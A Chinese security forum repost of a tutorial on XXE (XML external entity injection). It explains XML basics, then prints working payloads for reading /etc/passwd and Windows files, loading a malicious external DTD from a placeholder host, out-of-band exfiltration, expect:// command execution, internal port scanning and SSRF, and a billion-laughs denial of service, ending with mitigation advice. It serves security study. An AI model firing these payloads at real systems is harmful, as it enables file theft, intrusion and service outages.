安全矩阵

 找回密码
 立即注册
搜索
查看: 2534|回复: 0

XXE漏洞简述及利用姿势

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-8 15:09:44 | 显示全部楼层 |阅读模式
原文链接:XXE漏洞简述及利用姿势
0x01 XXE漏洞0x02 何为XML0x03 漏洞危害0x04 XXE利用姿势(有回显和无回显)一、文件读取二、其他利用姿势0x05 XXE漏洞防范姿势

0x01 XXE漏洞今天我们研究研究XXE漏洞,也是就是俗称的XML外部实体注入。
想要了解并实操这个漏洞,我们需要先知道什么是XML。
0x02 何为XMLXML 指可扩展标记语言,被设计为传输和存储数据,xml文档包括xml声明、DTD文档类型定义(可选)、文档元素、其焦点是数据的内容,其把数据从HMTL分离,是独立于软件和硬件的信息传输工具。

1、xml文档
XML 指可扩展标记语言,相对于HTML被用来显示数据,XML被设计用来传输和存储数据。如下为一个XML文档
  1. <?xml version="1.0" encoding="ISO-8859-1"?> //第一行为xml的声明,定义了xml的版本和使用的编码
  2. <note>     //文档的根元素,下面四行为根元素下的四个子元素
  3. <to>George</to>
  4. <from>John</from>
  5. <heading>Reminder</heading>
  6. <body>Don't forget the meeting!</body>
  7. </note>
复制代码


XML语法学习:https://www.runoob.com/xml/xml-syntax.html
​这里就不多说其xml各个部分的组成,直接找个小例子解释一番XML到底是什么,可以干嘛?
比如,我们要给对方传输一段数据,数据内容是“too young,too simple,sometimes naive”,要将这段话按照属性拆分为三个数据的话,就是,年龄too young,阅历too simple,结果sometimes naive。
我们都知道程序不像人,可以体会字面意思,并自动拆分出数据,因此,我们需要帮助程序做拆分,因此出现了各种各样的数据格式以及拆分方式。
比如,可以是这样的数据为“too young,too simple,sometimes naive”然后按照逗号拆分,第一部分为年龄,第二部分为阅历,第三部分为结果。也可以是这样的数据为“too_young*too_simplesometimes_naive”从数据开头开始截取前面十一个字符,去掉号并把下划线替换为空格作为第一部分,再截取接下来的十一个字符同样去掉并替换下划线为空格作为第二部分,最后把剩下的字符同样去*号体会空格作为第三部分。这两种方式都可以用来容纳数据并能够被解析,但是不直观,通用性也不好,而且如果出现超过限定字数的字符串就容纳不了,也可能出现数据本身就下划线字符导致需要做转义。基于这种情况,出现了xml这种数据格式, 上面的数据用XML表示的话可以是这样。

  1. <pre>
  2. </pre><div tabindex="-1" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-widget-id="17" role="region" aria-label="代码段 小部件" contenteditable="false"><pre data-cke-widget-data="{&quot;code&quot;:&quot;<person age=\&quot;too young\&quot; experience=\&quot;too simple\&quot; result=\&quot;sometimes naive\&quot; />&quot;,&quot;classes&quot;:[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="codeSnippet" class="cke_widget_element"><code class="hljs"><person age="too young" experience="too simple" result="sometimes naive" /></code></pre></div>
复制代码



也可以是这样

  1. <person>
  2.     <age value="too young" />
  3.     <experience value="too simple" />
  4.     <result value="sometimes naive" />
  5. </person>
复制代码



两种方式都是xml,都很直观,附带了对数据的说明,并且具备通用的格式规范可以让程序做解析。
如果用json格式来表示的话,就是下面这样



  1. {
  2.     "age":"too young",
  3.     "experience":"too simple",
  4.     "result":"sometimes naive"
  5. }
复制代码


看出来没,其实数据都是一样的,不同的只是数据的格式而已,同样的数据,我用xml格式传给你,你用xml格式解析出三个数据,用json格式传给你,你就用json格式解析出三个数据,还可以我本地保存的是xml格式的数据,我自己先解析出三个数据,然后构造成json格式传给你,你解析json格式,获得三个数据,再自己构造成xml格式保存起来,说白了,不管是xml还是json,都只是包装数据的不同格式而已,重要的是其中含有的数据,而不是包装的格式。
0x03 漏洞危害1、文件读取
2、命令执行
3、内网端口扫描
4、攻击内网网站
等……
(利用在下面其他姿势项可查看)
0x04 XXE利用姿势(有回显和无回显)一、文件读取????有回显
①内部引用实体
元素约束Any指元素可以包含任何数据,包含文本数据和子元素

  1. <!DOCTYPE foo [
  2. <!ELEMENT foo ANY >         
  3. <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >  
  4. ]>

  5. <foo>&xxe;</foo>
复制代码


②外部引用实体
通过XML引用外面的恶意DTD文件来造成XXE漏洞,% xxe定义参数实体,%xxe在dtd中引用参数实体

  1. <!DOCTYPE foo [
  2. <!ELEMENT foo ANY >
  3. <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/123.dtd" >  
  4. %xxe;     
  5. ]>

  6. <foo>&b;</foo>
复制代码


随后在外部服务器中写入1.dtd文件
  1. <!ENTITY b SYSTEM "file:///etc/passwd">
复制代码


????无回显
用外带数据通道提取数据,如将提取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容
1.使用使用php://filter获取目标文件的内容,然后将数据内容为参数值请求外部的http服务器,随后查看http服务器日志就能查看到提取的数据
( php://filter是php只读流,以base64编码的方式读取target.php)
1.dtd的内容,注意内部的%号要进行实体编码成&#x25;
随后访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
二、其他利用姿势①读取任意文件(注:读取网站源码要经过编码)

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


②执行系统命令(注:这种情况非常少,在安装expect扩展的PHP环境可以里执行系统命令,其他协议也有可能可以执行系统命令,存在环境限制)
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://id" >]>

  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


③探测内网端口(注:要根据响应时间和报文长度判断端口是否开启,如:当端口关闭时连接会报错)

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>

  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


④攻击内网网站(ssrf)
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>

  5. <root>
  6. <name>&xxe;</name>
  7. </root>
复制代码


⑤netdoc协议读取文件(java)

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE creds [
  3. <!ELEMENT creds ANY>
  4. <!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
  5. ]>

  6. <creds>&xxe;</creds>
复制代码

⑥dos拒绝服务(利用迭代参数实体进行拒绝服务,如果解析过程变得非常缓慢则代表测试成功)
  1. <?xml version="1.0"?>
  2.      <!DOCTYPE lolz [
  3.      <!ENTITY lol "lol">
  4.      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5.      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6.      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7.      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8.      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9.      ]>
  10.      
  11. <lolz>&lol6;</lolz>
复制代码

0x05 XXE防范姿势????????????
1、尽可能的使用简单的数据格式,避免对敏感数据进行序列化(序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象)
2、及时更新漏洞补丁
3、在应用程序的所有XML解析器中禁用XML4、外部实体和DTD进程
4、在服务器端实施积极的(“白名单”)输入验证、过滤和清理,以防止在XML文档、标题或节点中存在恶意代码
5、使用api网关或web应用防火墙waf来检测,监控和防止xxe


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:35 , Processed in 0.012436 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表